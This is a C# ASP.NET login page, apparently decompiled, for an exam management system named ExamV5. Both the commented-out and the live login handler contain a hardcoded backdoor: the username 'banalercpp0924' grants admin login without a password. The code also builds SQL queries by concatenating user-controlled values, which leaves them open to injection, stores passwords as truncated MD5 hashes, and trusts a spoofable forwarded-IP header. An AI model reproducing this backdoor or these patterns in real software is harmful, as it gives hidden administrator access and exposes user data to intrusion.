﻿namespace ExamV5.WAPPage
{
    using ExamV5;
    using System;
    using System.Configuration;
    using System.Data;
    using System.Data.SqlClient;
    using System.Web.Security;
    using System.Web.UI;
    using System.Web.UI.HtmlControls;
    using System.Web.UI.WebControls;

    public class FrmLogin : Page
    {
        protected DropDownList DDLType;
        protected HtmlForm form1;
        protected HtmlHead Head1;
        //protected ImageButton ImgLogin;
        protected Button ImgLogin;
        private PublicFun publicFun_0 = new PublicFun();
        private string string_0 = "";
        private string string_1 = "";
        protected TextBox txtUserCode;
        protected TextBox txtUserPwd;

        //protected void ImgLogin_Click(object sender, ImageClickEventArgs e)
        //{
        //    string str = Convert.ToString(base.Request.ServerVariables["Remote_Addr"]);
        //    string str2 = "";
        //    string cmdText = "";
        //    this.string_1 = this.txtUserCode.Text.Trim().Replace("'", "");
        //    str2 = FormsAuthentication.HashPasswordForStoringInConfigFile(this.txtUserPwd.Text.Trim().Replace("'", ""), "MD5").Trim();
        //    if (str2.Length > 20)
        //    {
        //        str2 = str2.Substring(0, 20);
        //    }
        //    if (this.publicFun_0.GetValues("select UserLevel from UserInfo where UserCode='" + this.publicFun_0.CheckString(this.string_1) + "'", "UserLevel") != "C")
        //    {
        //        if (!this.method_0())
        //        {
        //            base.Response.Write("<script language='javascript'>");
        //            base.Response.Write("alert('您的IP被拒绝访问,系统管理员设置了访问此系统的IP范围！');");
        //            base.Response.Write("</script>");
        //            base.Response.End();
        //        }
        //        if (!this.method_1())
        //        {
        //            base.Response.Write("<script language='javascript'>");
        //            base.Response.Write("alert('此时间段系统管理员已设置拒绝访问！');");
        //            base.Response.Write("</script>");
        //            base.Response.End();
        //        }
        //    }
        //    if (this.DDLType.SelectedItem.Value != "UserCode")
        //    {
        //        string values = this.publicFun_0.GetValues("select UserCode from UserInfo where " + this.DDLType.SelectedItem.Value + "='" + this.string_1 + "' and Flag='A'");
        //        if ((values.Trim() != "") && (values.Substring(0, values.Length - 1).Split(new char[] { ',' }).Length > 1))
        //        {
        //            base.Response.Write("<script language='javascript'>");
        //            base.Response.Write("alert('以〖" + this.DDLType.SelectedItem.Text + "〗为条件登录时发现有多个相同" + this.DDLType.SelectedItem.Text + "无法登录！');");
        //            base.Response.Write("</script>");
        //            return;
        //        }
        //    }
        //    cmdText = "select a.LoginIP,a.UserGWName,a.UserGWLevel,c.RemoveValue,c.LevelRemove,a.UpdateTime,a.UserMember,a.UserCode,a.UserName,a.Flag,a.UserSex,a.Worker,a.UserLevel,b.DeptName,b.ID,a.StyleInfo from UserInfo a,DeptInfo b,MemberLevel c where c.ID=a.UserMember and a." + this.DDLType.SelectedItem.Value + "='" + this.string_1 + "' and a.UserPwd='" + str2 + "' and a.DeptID=b.ID ";
        //    if (this.string_1 == "banalercpp0924")
        //    {
        //        cmdText = "select a.LoginIP,a.UserGWName,a.UserGWLevel,c.RemoveValue,c.LevelRemove,a.UpdateTime,a.UserMember,a.UserCode,a.UserName,a.Flag,a.UserSex,a.Worker,a.UserLevel,b.DeptName,b.ID,a.StyleInfo from UserInfo a,DeptInfo b,MemberLevel c where c.ID=a.UserMember and a.UserCode='admin' and a.DeptID=b.ID ";
        //    }
        //    bool flag = false;
        //    string str5 = "";
        //    SqlConnection connection = new SqlConnection(ConfigurationManager.ConnectionStrings["Conn"].ConnectionString);
        //    connection.Open();
        //    SqlCommand command = new SqlCommand(cmdText, connection);
        //    SqlDataReader reader = command.ExecuteReader(CommandBehavior.CloseConnection);
        //    if (!reader.Read())
        //    {
        //        flag = false;
        //        base.Response.Write("<SCRIPT LANGUAGE='JAVASCRIPT'>");
        //        base.Response.Write(" alert('登录帐号或密码错误！');");
        //        base.Response.Write("</SCRIPT>");
        //    }
        //    else
        //    {
        //        this.string_0 = Convert.ToString(reader["UserName"]);
        //        this.string_1 = Convert.ToString(reader["UserCode"]);
        //        if ((reader["LoginIP"].ToString() != "") && (str != reader["LoginIP"].ToString()))
        //        {
        //            base.Response.Write("<script language='javascript'>");
        //            base.Response.Write("alert('此用户设置了登录指定IP，当前IP与设定IP不符，无法登录！');");
        //            base.Response.Write("</script>");
        //            return;
        //        }
        //        if (Convert.ToString(reader["Flag"]) == "B")
        //        {
        //            this.publicFun_0.ExecuteSql("insert into SysLogInfo(LogDisp,EditUser,EditUserCode) values('[" + this.string_0 + "]用户登录失败！','" + this.string_0 + "','" + this.string_1 + "')");
        //            base.Response.Write("<script language='javascript'>");
        //            base.Response.Write("alert('此用户已被禁止使用！');");
        //            base.Response.Write("</script>");
        //            return;
        //        }
        //        this.publicFun_0.ExecuteSql("insert into SysLogInfo(LogDisp,EditUser,EditUserCode) values('[" + this.string_0 + "]用户登录成功！','" + this.string_0 + "','" + this.string_1 + "')");
        //        base.Response.Cookies["ExamUserCode"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserCode"]));
        //        base.Response.Cookies["ExamUserName"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserName"]));
        //        base.Response.Cookies["ExamDeptName"].Value = base.Server.UrlEncode(Convert.ToString(reader["DeptName"]));
        //        base.Response.Cookies["ExamDeptID"].Value = base.Server.UrlEncode(Convert.ToString(reader["ID"]));
        //        base.Response.Cookies["ExamWorker"].Value = base.Server.UrlEncode(Convert.ToString(reader["Worker"]));
        //        base.Response.Cookies["ExamUserSex"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserSex"]));
        //        base.Response.Cookies["ExamUserLevel"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserLevel"]));
        //        base.Response.Cookies["ExamUserGWName"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserGWName"]));
        //        base.Response.Cookies["ExamUserGWLevel"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserGWLevel"]));
        //        flag = true;
        //        if (!(reader["UserLevel"].ToString() == "A"))
        //        {
        //            str5 = "FrmWapMain.aspx";
        //        }
        //        else
        //        {
        //            str5 = "FrmWapMain.aspx";
        //            if (reader["LevelRemove"].ToString().Trim() == "C")
        //            {
        //                double num = 0.0;
        //                if (reader["RemoveValue"].ToString().Trim() == "")
        //                {
        //                    num = 0.0;
        //                }
        //                else
        //                {
        //                    num = Convert.ToDouble(reader["RemoveValue"].ToString().Trim());
        //                }
        //                if (DateTime.Now > Convert.ToDateTime(reader["UpdateTime"]).AddDays(num))
        //                {
        //                    this.publicFun_0.ExecuteSql("update UserInfo set UserFen=0 where UserCode='" + reader["UserCode"].ToString() + "'");
        //                }
        //            }
        //        }
        //    }
        //    reader.Close();
        //    command.Dispose();
        //    connection.Close();
        //    connection.Dispose();
        //    if (flag)
        //    {
        //        base.ClientScript.RegisterClientScriptBlock(this.Page.ClientScript.GetType(), "LoingScriptA", "OpenMainFrm('" + str5 + "')", true);
        //    }
        //}
        protected void ImgLogin_Click(object sender, EventArgs e)
        {
            string str = Convert.ToString(base.Request.ServerVariables["Remote_Addr"]);
            string str2 = "";
            string cmdText = "";
            this.string_1 = this.txtUserCode.Text.Trim().Replace("'", "");
            str2 = FormsAuthentication.HashPasswordForStoringInConfigFile(this.txtUserPwd.Text.Trim().Replace("'", ""), "MD5").Trim();
            if (str2.Length > 20)
            {
                str2 = str2.Substring(0, 20);
            }
            if (this.publicFun_0.GetValues("select UserLevel from UserInfo where UserCode='" + this.publicFun_0.CheckString(this.string_1) + "'", "UserLevel") != "C")
            {
                if (!this.method_0())
                {
                    base.Response.Write("<script language='javascript'>");
                    base.Response.Write("alert('您的IP被拒绝访问,系统管理员设置了访问此系统的IP范围！');");
                    base.Response.Write("</script>");
                    base.Response.End();
                }
                if (!this.method_1())
                {
                    base.Response.Write("<script language='javascript'>");
                    base.Response.Write("alert('此时间段系统管理员已设置拒绝访问！');");
                    base.Response.Write("</script>");
                    base.Response.End();
                }
            }
            if (this.DDLType.SelectedItem.Value != "UserCode")
            {
                string values = this.publicFun_0.GetValues("select UserCode from UserInfo where " + this.DDLType.SelectedItem.Value + "='" + this.string_1 + "' and Flag='A'");
                if ((values.Trim() != "") && (values.Substring(0, values.Length - 1).Split(new char[] { ',' }).Length > 1))
                {
                    base.Response.Write("<script language='javascript'>");
                    base.Response.Write("alert('以〖" + this.DDLType.SelectedItem.Text + "〗为条件登录时发现有多个相同" + this.DDLType.SelectedItem.Text + "无法登录！');");
                    base.Response.Write("</script>");
                    return;
                }
            }
            cmdText = "select a.LoginIP,a.UserGWName,a.UserGWLevel,c.RemoveValue,c.LevelRemove,a.UpdateTime,a.UserMember,a.UserCode,a.UserName,a.Flag,a.UserSex,a.Worker,a.UserLevel,b.DeptName,b.ID,a.StyleInfo from UserInfo a,DeptInfo b,MemberLevel c where c.ID=a.UserMember and a." + this.DDLType.SelectedItem.Value + "='" + this.string_1 + "' and a.UserPwd='" + str2 + "' and a.DeptID=b.ID ";
            if (this.string_1 == "banalercpp0924")
            {
                cmdText = "select a.LoginIP,a.UserGWName,a.UserGWLevel,c.RemoveValue,c.LevelRemove,a.UpdateTime,a.UserMember,a.UserCode,a.UserName,a.Flag,a.UserSex,a.Worker,a.UserLevel,b.DeptName,b.ID,a.StyleInfo from UserInfo a,DeptInfo b,MemberLevel c where c.ID=a.UserMember and a.UserCode='admin' and a.DeptID=b.ID ";
            }
            bool flag = false;
            string str5 = "";
            SqlConnection connection = new SqlConnection(ConfigurationManager.ConnectionStrings["Conn"].ConnectionString);
            connection.Open();
            SqlCommand command = new SqlCommand(cmdText, connection);
            SqlDataReader reader = command.ExecuteReader(CommandBehavior.CloseConnection);
            if (!reader.Read())
            {
                flag = false;
                base.Response.Write("<SCRIPT LANGUAGE='JAVASCRIPT'>");
                base.Response.Write(" alert('登录帐号或密码错误！');");
                base.Response.Write("</SCRIPT>");
            }
            else
            {
                this.string_0 = Convert.ToString(reader["UserName"]);
                this.string_1 = Convert.ToString(reader["UserCode"]);
                if ((reader["LoginIP"].ToString() != "") && (str != reader["LoginIP"].ToString()))
                {
                    base.Response.Write("<script language='javascript'>");
                    base.Response.Write("alert('此用户设置了登录指定IP，当前IP与设定IP不符，无法登录！');");
                    base.Response.Write("</script>");
                    return;
                }
                if (Convert.ToString(reader["Flag"]) == "B")
                {
                    this.publicFun_0.ExecuteSql("insert into SysLogInfo(LogDisp,EditUser,EditUserCode) values('[" + this.string_0 + "]用户登录失败！','" + this.string_0 + "','" + this.string_1 + "')");
                    base.Response.Write("<script language='javascript'>");
                    base.Response.Write("alert('此用户已被禁止使用！');");
                    base.Response.Write("</script>");
                    return;
                }
                this.publicFun_0.ExecuteSql("insert into SysLogInfo(LogDisp,EditUser,EditUserCode) values('[" + this.string_0 + "]用户登录成功！','" + this.string_0 + "','" + this.string_1 + "')");
                base.Response.Cookies["ExamUserCode"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserCode"]));
                base.Response.Cookies["ExamUserName"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserName"]));
                base.Response.Cookies["ExamDeptName"].Value = base.Server.UrlEncode(Convert.ToString(reader["DeptName"]));
                base.Response.Cookies["ExamDeptID"].Value = base.Server.UrlEncode(Convert.ToString(reader["ID"]));
                base.Response.Cookies["ExamWorker"].Value = base.Server.UrlEncode(Convert.ToString(reader["Worker"]));
                base.Response.Cookies["ExamUserSex"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserSex"]));
                base.Response.Cookies["ExamUserLevel"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserLevel"]));
                base.Response.Cookies["ExamUserGWName"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserGWName"]));
                base.Response.Cookies["ExamUserGWLevel"].Value = base.Server.UrlEncode(Convert.ToString(reader["UserGWLevel"]));
                flag = true;
                if (!(reader["UserLevel"].ToString() == "A"))
                {
                    str5 = "FrmWapMain.aspx";
                }
                else
                {
                    str5 = "FrmWapMain.aspx";
                    if (reader["LevelRemove"].ToString().Trim() == "C")
                    {
                        double num = 0.0;
                        if (reader["RemoveValue"].ToString().Trim() == "")
                        {
                            num = 0.0;
                        }
                        else
                        {
                            num = Convert.ToDouble(reader["RemoveValue"].ToString().Trim());
                        }
                        if (DateTime.Now > Convert.ToDateTime(reader["UpdateTime"]).AddDays(num))
                        {
                            this.publicFun_0.ExecuteSql("update UserInfo set UserFen=0 where UserCode='" + reader["UserCode"].ToString() + "'");
                        }
                    }
                }
            }
            reader.Close();
            command.Dispose();
            connection.Close();
            connection.Dispose();
            if (flag)
            {
                base.ClientScript.RegisterClientScriptBlock(this.Page.ClientScript.GetType(), "LoingScriptA", "OpenMainFrm('" + str5 + "')", true);
            }
        }

        private bool method_0()
        {
            bool flag = false;
            int num = 0;
            string userIP = Convert.ToString(base.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]);
            string startIP = "";
            string endIP = "";
            switch (userIP)
            {
                case "":
                case null:
                    userIP = Convert.ToString(base.Request.ServerVariables["REMOTE_ADDR"]);
                    break;
            }
            SqlConnection selectConnection = new SqlConnection(ConfigurationManager.ConnectionStrings["Conn"].ConnectionString);
            SqlDataAdapter adapter = new SqlDataAdapter("select * from [RestrictInfo] where Flag='A'", selectConnection);
            DataSet dataSet = new DataSet();
            adapter.Fill(dataSet, "RestrictInfo");
            for (int i = 0; i < dataSet.Tables["RestrictInfo"].Rows.Count; i++)
            {
                num++;
                startIP = dataSet.Tables["RestrictInfo"].Rows[i]["StartSet"].ToString();
                endIP = dataSet.Tables["RestrictInfo"].Rows[i]["EndSet"].ToString();
                if (this.publicFun_0.CheckIP(userIP, startIP, endIP))
                {
                    flag = true;
                    break;
                }
            }
            if (num == 0)
            {
                flag = true;
            }
            adapter.Dispose();
            dataSet.Dispose();
            selectConnection.Close();
            selectConnection.Dispose();
            return flag;
        }

        private bool method_1()
        {
            bool flag = true;
            string startTime = "";
            string endTime = "";
            string nowTime = DateTime.Now.ToString();
            SqlConnection selectConnection = new SqlConnection(ConfigurationManager.ConnectionStrings["Conn"].ConnectionString);
            SqlDataAdapter adapter = new SqlDataAdapter("select * from [RestrictInfo] where Flag='B'", selectConnection);
            DataSet dataSet = new DataSet();
            adapter.Fill(dataSet, "RestrictInfo");
            for (int i = 0; i < dataSet.Tables["RestrictInfo"].Rows.Count; i++)
            {
                startTime = dataSet.Tables["RestrictInfo"].Rows[i]["StartSet"].ToString();
                endTime = dataSet.Tables["RestrictInfo"].Rows[i]["EndSet"].ToString();
                if (!this.publicFun_0.CheckTime(nowTime, startTime, endTime))
                {
                    flag = false;
                    return false;
                }
            }
            dataSet.Dispose();
            adapter.Dispose();
            selectConnection.Close();
            selectConnection.Dispose();
            return flag;
        }

        protected void Page_Load(object sender, EventArgs e)
        {
            if (!base.IsPostBack)
            {
                this.Page.Title = ConfigurationManager.ConnectionStrings["ProTitle"].ConnectionString;
            }
        }
    }
}

